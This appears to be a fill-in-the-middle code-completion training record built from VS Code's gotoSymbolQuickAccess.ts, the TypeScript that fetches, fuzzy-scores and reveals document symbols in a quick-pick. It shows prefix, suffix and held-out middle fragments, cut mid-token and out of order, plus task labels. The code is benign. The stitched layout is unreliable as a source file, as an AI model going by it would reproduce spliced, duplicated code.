picksCts: CancellationTokenSource | undefined = undefined; const updatePickerItems = async () => { // Cancel any previous ask for picks and busy picksCts?.dispose(true); picker.busy = false; // Create new cancellation source for this run picksCts = new CancellationTokenSource(token); // Collect symbol picks picker.busy = true; try { const query = prepareQuery(picker.value.substr(AbstractGotoSymbolQuickAccessProvider.PREFIX.length).trim()); const items = await this.doGetSymbolPicks(symbolsPromise, query, undefined, picksCts.token); if (token.isCancellationRequested) { return; } if (items.length > 0) { picker.items = items; } else { if (query.original.length > 0) { this.provideLabelPick(picker, localize('noMatchingSymbolResults', "No matching editor symbols")); } else { this.provideLabelPick(picker, localize('noSymbolResults', "No editor symbols")); } } } finally { if (!token.isCancellationRequested) { picker.busy = false; } } }; disposables.add(picker.onDidChangeValue(() => updatePickerItems())); updatePickerItems(); // Reveal and decorate when active item changes // However, ignore the very first event so that // opening the picker is not immediately revealing // and decorating the first entry. let ignoreFirstActiveEvent = true; disposables.add(picker.onDidChangeActive(() => { const [item] = picker.activeItems; if (item && item.range) { if (ignoreFirstActiveEvent) { ignoreFirstActiveEvent = false; return; } // Reveal editor.revealRangeInCenter(item.range.selection, ScrollType.Smooth); // Decorate this.addDecorations(editor, item.range.decoration); } })); return disposables; } protected async
(symbolsPromise: Promise<DocumentSymbol[]>, query: IPreparedQuery, options: { extraContainerLabel?: string } | undefined, token: CancellationToken): Promise<Array<IGotoSymbolQuickPickItem | IQuickPickSeparator>> { const symbols = await symbolsPromise; if (token.isCancellationRequested) { return []; } const filterBySymbolKind = query.original.indexOf(AbstractGotoSymbolQuickAccessProvider.SCOPE_PREFIX) === 0; const filterPos = filterBySymbolKind ? 1 : 0; // Split between symbol and container query let symbolQuery: IPreparedQuery; let containerQuery: IPreparedQuery | undefined; if (query.values && query.values.length > 1) { symbolQuery = pieceToQuery(query.values[0]); // symbol: only match on first part containerQuery = pieceToQuery(query.values.slice(1)); // container: match on all but first parts } else { symbolQuery = query; } // Convert to symbol picks and apply filtering const filteredSymbolPicks: IGotoSymbolQuickPickItem[] = []; for (let index = 0; index < symbols.length; index++) { const symbol = symbols[index]; const symbolLabel = trim(symbol.name); const symbolLabelWithIcon = `$(symbol-${SymbolKinds.toString(symbol.kind) || 'property'}) ${symbolLabel}`; const symbolLabelIconOffset = symbolLabelWithIcon.length - symbolLabel.length; let containerLabel = symbol.containerName; if (options?.extraContainerLabel) { if (containerLabel) { containerLabel = `${options.extraContainerLabel} • ${containerLabel}`; } else { containerLabel = options.extraContainerLabel; } } let symbolScore: number | undefined = undefined; let symbolMatches: IMatch[] | undefined = undefined; let containerScore: number | undefined = undefined; let containerMatches: IMatch[] | undefined = undefined; if (query.original.length > filterPos) { // First: try to score on the entire query, it is possible that // the symbol matches perfectly (e.g. searching for "change log" // can be a match on a markdown symbol "change log"). In that // case we want to skip the container query altogether. let skipContainerQuery = false; if (symbolQuery !== query) { [symbolScore, symbolMatches] = scoreFuzzy2(symbolLabelWithIcon, { ...query, values: undefined /* disable multi-query support */ }, filterPos, symbolLabelIconOffset); if (typeof symbolScore === 'number') { skipContainerQuery = true; // since we consumed the query, skip any container matching } } // Otherwise: score on the symbol query and match on the container later if (typeof symbolScore !== 'number') { [symbolScore, symbolMatches] = scoreFuzzy2(symbolLabelWithIcon, symbolQuery, filterPos, symbolLabelIconOffset); if (typeof symbolScore !== 'number') { continue; } } // Score by container if specified if (!skipContainerQuery && containerQuery) { if (containerLabel && containerQuery.original.length > 0) { [containerScore, containerMatches] = scoreFuzzy2(containerLabel, containerQuery); } if (typeof containerScore !== 'number') { continue; } if (typeof symbolScore === 'number') { symbolScore += containerScore; // boost symbolScore by containerScore } } } const deprecated = symbol.tags && symbol.tags.indexOf(SymbolTag.Deprecated) >= 0; filteredSymbolPicks.push({ index, kind: symbol.kind, score: symbolScore, label: symbolLabelWithIcon, ariaLabel: symbolLabel, description: containerLabel, highlights: deprecated ? undefined : { label: symbolMatches, description: containerMatches }, range: { selection: Range.collapseToStart(symbol.selectionRange), decoration: symbol.range }, strik
doGetSymbolPicks
identifier_name
gotoSymbolQuickAccess.ts
const disposables = new DisposableStore(); // Generic pick for not having any symbol information this.provideLabelPick(picker, localize('cannotRunGotoSymbolWithoutSymbolProvider', "The active text editor does not provide symbol information.")); // Wait for changes to the registry and see if eventually // we do get symbols. This can happen if the picker is opened // very early after the model has loaded but before the // language registry is ready. // https://github.com/microsoft/vscode/issues/70607 (async () => { const result = await this.waitForLanguageSymbolRegistry(model, disposables); if (!result || token.isCancellationRequested) { return; } disposables.add(this.doProvideWithEditorSymbols(editor, model, picker, token)); })(); return disposables; } private provideLabelPick(picker: IQuickPick<IGotoSymbolQuickPickItem>, label: string): void { picker.items = [{ label, index: 0, kind: SymbolKind.String }]; picker.ariaLabel = label; } protected async waitForLanguageSymbolRegistry(model: ITextModel, disposables: DisposableStore): Promise<boolean> { if (DocumentSymbolProviderRegistry.has(model)) { return true; } let symbolProviderRegistryPromiseResolve: (res: boolean) => void; const symbolProviderRegistryPromise = new Promise<boolean>(resolve => symbolProviderRegistryPromiseResolve = resolve); // Resolve promise when registry knows model const symbolProviderListener = disposables.add(DocumentSymbolProviderRegistry.onDidChange(() => { if (DocumentSymbolProviderRegistry.has(model)) { symbolProviderListener.dispose(); symbolProviderRegistryPromiseResolve(true); } })); // Resolve promise when we get disposed too disposables.add(toDisposable(() => symbolProviderRegistryPromiseResolve(false))); return symbolProviderRegistryPromise; } private doProvideWithEditorSymbols(editor: IEditor, model: ITextModel, picker: IQuickPick<IGotoSymbolQuickPickItem>, token: CancellationToken): IDisposable { const disposables = new DisposableStore(); // Goto symbol once picked disposables.add(picker.onDidAccept(event => { const [item] = picker.selectedItems; if (item && item.range) { this.gotoLocation(editor, { range: item.range.selection, keyMods: picker.keyMods, preserveFocus: event.inBackground }); if (!event.inBackground) { picker.hide(); } } })); // Goto symbol side by side if enabled disposables.add(picker.onDidTriggerItemButton(({ item }) => { if (item && item.range) { this.gotoLocation(editor, { range: item.range.selection, keyMods: picker.keyMods, forceSideBySide: true }); picker.hide(); } })); // Resolve symbols from document once and reuse this // request for all filtering and typing then on const symbolsPromise = this.getDocumentSymbols(model, true, token); // Set initial picks and update on type let picksCts: CancellationTokenSource | undefined = undefined; const updatePickerItems = async () => { // Cancel any previous ask for picks and busy picksCts?.dispose(true); picker.busy = false; // Create new cancellation source for this run picksCts = new CancellationTokenSource(token); // Collect symbol picks picker.busy = true; try { const query = prepareQuery(picker.value.substr(AbstractGotoSymbolQuickAccessProvider.PREFIX.length).trim()); const items = await this.doGetSymbolPicks(symbolsPromise, query, undefined, picksCts.token); if (token.isCancellationRequested) { return; } if (items.length > 0) { picker.items = items; } else { if (query.original.length > 0) { this.provideLabelPick(picker, localize('noMatchingSymbolResults', "No matching editor symbols")); } else { this.provideLabelPick(picker, localize('noSymbolResults', "No editor symbols")); } } } finally { if (!token.isCancellationRequested) { picker.busy = false; } } }; disposables.add(picker.onDidChangeValue(() => updatePickerItems())); updatePickerItems(); // Reveal and decorate when active item changes // However, ignore the very first event so that // opening the picker is not immediately revealing // and decorating the first entry. let ignoreFirstActiveEvent = true; disposables.add(picker.onDidChangeActive(() => { const [item] = picker.activeItems; if (item && item.range) { if (ignoreFirstActiveEvent) { ignoreFirstActiveEvent = false; return; } // Reveal editor.revealRangeInCenter(item.range.selection, ScrollType.Smooth); // Decorate this.addDecorations(editor, item.range.decoration); } })); return disposables; } protected async doGetSymbolPicks(symbolsPromise: Promise<DocumentSymbol[]>, query: IPreparedQuery, options: { extraContainerLabel?: string } | undefined, token: CancellationToken): Promise<Array<IGotoSymbolQuickPickItem | IQuickPickSeparator>> { const symbols = await symbolsPromise; if (token.isCancellationRequested) { return []; } const filterBySymbolKind = query.original.indexOf(AbstractGotoSymbolQuickAccessProvider.SCOPE_PREFIX) === 0; const filterPos = filterBySymbolKind ? 1 : 0; // Split between symbol and container query
} else { symbolQuery = query; } // Convert to symbol picks and apply filtering const filteredSymbolPicks: IGotoSymbolQuickPickItem[] = []; for (let index = 0; index < symbols.length; index++) { const symbol = symbols[index]; const symbolLabel = trim(symbol.name); const symbolLabelWithIcon = `$(symbol-${SymbolKinds.toString(symbol.kind) || 'property'}) ${symbolLabel}`; const symbolLabelIconOffset = symbolLabelWithIcon.length - symbolLabel.length; let containerLabel = symbol.containerName; if (options?.extraContainerLabel) { if (containerLabel) { containerLabel = `${options.extraContainerLabel} • ${containerLabel}`; } else { containerLabel = options.extraContainerLabel; } } let symbolScore: number | undefined = undefined; let symbolMatches: IMatch[] | undefined = undefined; let containerScore: number | undefined = undefined; let containerMatches: IMatch[] | undefined = undefined; if (query.original.length > filterPos) { // First: try to score on the entire query, it is possible that // the symbol matches perfectly (e.g. searching for "change log" // can be a match on a markdown symbol "change log"). In that // case we want to skip the container query altogether. let skipContainerQuery = false; if (symbolQuery !== query) { [symbolScore, symbolMatches] = scoreFuzzy2(symbolLabelWithIcon, { ...query, values: undefined /* disable multi-query support */ }, filterPos, symbolLabelIconOffset); if (typeof symbolScore === 'number') { skipContainerQuery = true; // since we consumed the query, skip any container matching } } // Otherwise: score on the symbol query and match on the container later if (typeof symbolScore !== 'number') { [symbolScore, symbolMatches] = scoreFuzzy2(symbolLabelWithIcon, symbolQuery, filterPos, symbolLabelIconOffset); if (typeof symbolScore !== 'number') { continue; } } // Score by container if specified if (!skipContainerQuery && containerQuery) { if (containerLabel && containerQuery.original.length > 0) { [containerScore, containerMatches] = scoreFuzzy2(containerLabel, containerQuery); } if (typeof containerScore !== 'number') { continue; } if (typeof symbolScore === 'number') { symbolScore += containerScore; // boost symbolScore by containerScore } } } const deprecated = symbol.tags && symbol.tags.indexOf(SymbolTag.Deprecated) >= 0; filteredSymbolPicks.push({ index, kind: symbol.kind, score: symbolScore, label: symbolLabelWithIcon, ariaLabel: symbolLabel, description: containerLabel, highlights: deprecated ? undefined : { label: symbolMatches, description: containerMatches }, range: { selection: Range.collapseToStart(symbol.selectionRange), decoration: symbol.range }, strikethrough
let symbolQuery: IPreparedQuery; let containerQuery: IPreparedQuery | undefined; if (query.values && query.values.length > 1) { symbolQuery = pieceToQuery(query.values[0]); // symbol: only match on first part containerQuery = pieceToQuery(query.values.slice(1)); // container: match on all but first parts
random_line_split